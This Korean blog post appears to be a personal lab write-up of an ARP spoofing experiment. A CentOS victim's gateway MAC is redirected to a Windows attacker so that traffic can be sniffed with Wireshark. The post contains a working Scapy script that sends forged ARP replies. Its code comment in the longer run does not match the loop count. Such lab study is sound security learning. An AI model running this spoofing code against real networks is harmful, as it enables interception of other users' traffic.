외로운 Nova의 작업실

ARP Spooping 공격 기법 - 2(ARP redirection sniffing) 본문

Server Penetesting/Network

ARP Spooping 공격 기법 - 2(ARP redirection sniffing)

Nova_ 2023. 4. 3. 14:23

- 실험 내용

희생자의 기본 게이트웨이 MAC 주소를 공격자의 MAC주소로 바꾸고 공격자는 wireshark를 통해 패킷을 스니핑할 수 있는 지 확인합니다.

 

- 실험 구성

  • 공격자 : window 192.168.219.130 , 1C-1B-0D-A7-67-E1
  • 희생자 : centos 192.168.219.120 , 00:0C:29:8C:2E:05
  • 원래 대상자 : centos 192.168.219.100,  00:0C:29:CD:9A:77

- 실험 전

희생자의 ARP 캐시 테이블

 

- 실험 시작

아래 파이썬 코드로 기본 게이트웨이 MAC을 공격자 MAC으로 변경해줍니다.

from scapy.all import *
import time

# ARP 응답 패킷 생성
arp_reply = Ether(dst='00:0C:29:8C:2E:05')/ARP(op='is-at', hwsrc='1C:1B:0D:A7:67:E1', psrc='192.168.219.1', hwdst='00:0C:29:8C:2E:05', pdst='192.168.219.120')

# 패킷 전송 10번
for i in range(0, 10):
    sendp(arp_reply)
    time.sleep(2)
    print("패킷 전송 완료")

 

아래는 공격 이후 희생자의 ARP 캐시 테이블입니다.

이제 희생자쪽에서 웹사이트를 열어보겠습니다.

이후 패킷이 잘안잡혀서 다시 희생자 arp 테이블을보니 다시 원상복구되어있었습니다.

ARP 스푸핑 공격을 계속 실행해야 가능하다는 것을 알게되었습니다. 그럼 계속 실행 하도록 하고 한번 다시 해보겠습니다. 200초동안 스푸핑 공격을 진행하겠습니다.

from scapy.all import *
import time

# ARP 응답 패킷 생성
arp_reply = Ether(dst='00:0C:29:8C:2E:05')/ARP(op='is-at', hwsrc='1C:1B:0D:A7:67:E1', psrc='192.168.219.1', hwdst='00:0C:29:8C:2E:05', pdst='192.168.219.120')

# 패킷 전송 10번
for i in range(0, 100):
    sendp(arp_reply)
    time.sleep(2)
    print("패킷 전송 완료")

실제 공격하면서 웹사이트를 다시 열어봤지만 계속 로딩만 될뿐이였습니다.

그렇다면 우리의 dns 서버를 가동시키고 해당 dns 서버를 이용해서 스니핑하면 어떻게될까요? 한번 해보겠습니다.

 

 

 

Comments